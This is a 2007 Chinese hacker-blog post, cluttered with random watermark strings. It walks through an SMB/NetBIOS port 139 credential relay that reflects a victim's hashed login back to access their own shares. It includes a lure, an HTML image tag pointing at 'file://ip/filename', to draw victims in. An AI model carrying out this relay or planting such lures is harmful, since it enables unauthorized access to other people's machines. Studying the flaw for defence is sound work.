~_~在攻与防的对立统一中寻求突破~_~

黑客实战之系统泄露密码入侵分析

上一篇 / 下一篇  2007-05-23 11:54:07 / 个人分类:黑客之路

★黑基空间★0a+L$eIS5H,uU

★黑基空间★&d1B2{|0? @
  WINDOWS访问139端口时自动用当前用户、密码连接,造成泄露用户密码,虽然其密码是加密的,但一样可以用来攻击……★黑基空间★8c ^0P{8?
  WINDOWS访问139端口时自动用当前用户、密码连接,造成泄露用户密码,虽然其密码是加密的,但一样可以用来攻击。★黑基空间★3lR4N1us!~/o

★黑基空间★h9}C3HP"C

  下面是SMB的密码认证方式。WINDOWS的139口的访问过程,箭头表示数据方向:

oZ!o:@#G8liYh5l0

xL/o;@(@DCV)b0  1.客户端<--------------------建立TCP连接----------------->服务端

5O$E)Z6j^Pf4I9o0

f y%R+@b0  2.客户端-------客户端类型、支持的服务方式列表等---------->服务端★黑基空间★$Ed"kZ c0Z2QH

★黑基空间★sY%X!Z#qR}]5VLi

  3.客户端<---------服务器认证方式、加密用的key等-----------服务端

3gv2W|$M0★黑基空间★*nLqd4Y3o@

  认证方式就是用户级认证还是共享级认证和密码加密不,key是服务器随机生成的8个字节,WIN2000已经支持16个字节的 key。

+Y5BAU dB0★黑基空间★\7N h5][m'G[K

  4.客户端--------------用户名、加密后密码----------------->服务端★黑基空间★N5GiM|ol7g

★黑基空间★&s%XgIg)`\

  WIN9X、WINNT、WIN2000这有个漏洞,不经过提示等就把当前用户名,密码加密后发过去了,导致密码泄漏。这儿加密是DES的变形,lockedpass=chgdes(key,pass)。这儿的pass是作为DES变形的KEY,key是作为DES变形的待加密数据。

'|'d5a2@Hx6[TO6}0

5Nkz5_p\/^`B0  5.客户端<---------------认证成功否-----------------------服务端

sbs0NJ3G0

+B}:X,x;vid0C$[0  WINDOWS客户端第4步有漏洞,显然服务端可以得到username和lockedpass=chgdes(key,pass), 其中key可以自由指定,因为这是服务方提供的,usname、pass是客户端当前访问者用户名和密码。这儿的加密变换不可逆,但已经可以用暴力法破解了,也已经有了这样的程序。其实我们有时并不一定要得到密码明文的,只要能提供连接需要的就可以了。我们来看得到lockedpass有什么用,我们反过去访问看看,telnet、ftp等连接要密码明文我们得到的lockedpass不能提供,那么我们考虑用同样加密算法传密码密文的服务呢?比如就是NETBIOS共享服务。前面是服务端得到东西,那现在就是站在客户端了,再看前面那过程,显然其实我们并不需要提供pass,是不是只需要提供username和lockedpass2=chgdes(key2,pass)就可以了?其中key2是现在的服务端提供的。看看我们有 usname和lockedpass=chgdes(key,pass)其中key我们可以自己指定,大家一看显然只要key=key2那么就需要的我们都有了是不是?所以我们要使得key=key2.★黑基空间★ q;r4W h'M7Ta&n

s'L~\q"Q'Q6F,b6LI&~0  好我们再仔细看看连接过程,别人连接两步1、2:★黑基空间★nJxBK

U:h%P1bGXC"o PR0  1.客户端<--------------------建立TCP连接----------------->服务端

R%b'G*C{$D1^7T0★黑基空间★4V;c8S3De^9T2s

  2.客户端-------客户端类型、支持的服务方式列表等---------->服务端

W-aL0H6n9c9h0★黑基空间★o F,h2g~U"~

  下面就该

X]jtd J QEIv0★黑基空间★.j \0W7]%D#R

  3.客户端<---------服务器认证方式、加密用的key等-----------服务端★黑基空间★%R ycgl DaU3Z

)Vo[5L|Q:wxK0  这我们需要提供key,这儿我们不能随便提供key,需要提供key2,那么我们就要得到key2,显然需要连接NETBIOS服务回去。显然这而需要连接回去的11,22,33共3步(为了区分连接回去的步子用重号表示)才能得到key2,显然这2步和3步不需要有先后顺序。所以我们可以得到连接指定IP的NETBIOS服务然后等这用户来访问,这可能有时间超时等处理,或者等到任意IP连接NETBIOS服务后马上连回去,反正怎么处理方便、满足需要就怎么处理。★黑基空间★^-D1a\6QGud

★黑基空间★6_2mb+z+Q k$z5i%Y G1_

  下面显然就是设置 key=key2返回3,那就等4得到lockedpass了,第5步嘛就你自由处理了,要不返回密码错误,后面就是44、55……

*r9l{a$^b^wv8r0

#H7H^W~n0  总的来就是1,2,11,22,33,3,4,5,44,55……显然你就是以那机器访问你的用户的身份去访问他的NETBIOS服务了,能干什么那就看那用户的权限了。★黑基空间★9g-MWEc4~

[(}6uep%hT1`0  注意有兴趣的可以把SAMB包的客户端程序修改加上一点服务的前几步就可以了。显然这主要利用的还是WINDOWS泄露当前用户名、加密密码漏洞。还有这需要别人来访问你的机器,这好办,邮件或者主页等里面来个★黑基空间★6Sr]*KU!v5k;{

kcIFn:D7B5Q0  IMGsrc”="file://ip/filename" ...

MGi;pz/L0★黑基空间★tA5p [3z

  就可以了。★黑基空间★)~WN Ex+D.c_}

` [? `K6f0  我实验了去掉机器139口服务(要不有139口要影响后面端口重定向),用端口重定向程序把来向139口定向回去,找另一个WINNT机器用ip访问那重定向139口的机器,结果是没有密码提示就看到WINNT机器本身了。其实这时重定向端口程序那台机器已经用WINNT机器的当前用户访问WINNT了,只是由于没有客户端的处理界面不能操作。
#nHO)F Y0★黑基空间★0n;GxEu5G.[h%J+Z?6~


TAG: 黑客之路

 

评分:0

我来说两句

显示全部

:loveliness: :handshake :victory: :funk: :time: :kiss: :call: :hug: :lol :'( :Q :L ;P :$ :P :o :@ :D :( :)

日历

« 2008-09-27  
 123456
78910111213
14151617181920
21222324252627
282930    

数据统计

  • 访问量: 1300
  • 日志数: 28
  • 图片数: 4
  • 书签数: 6
  • 建立时间: 2007-05-20
  • 更新时间: 2007-07-26

RSS订阅

Open Toolbar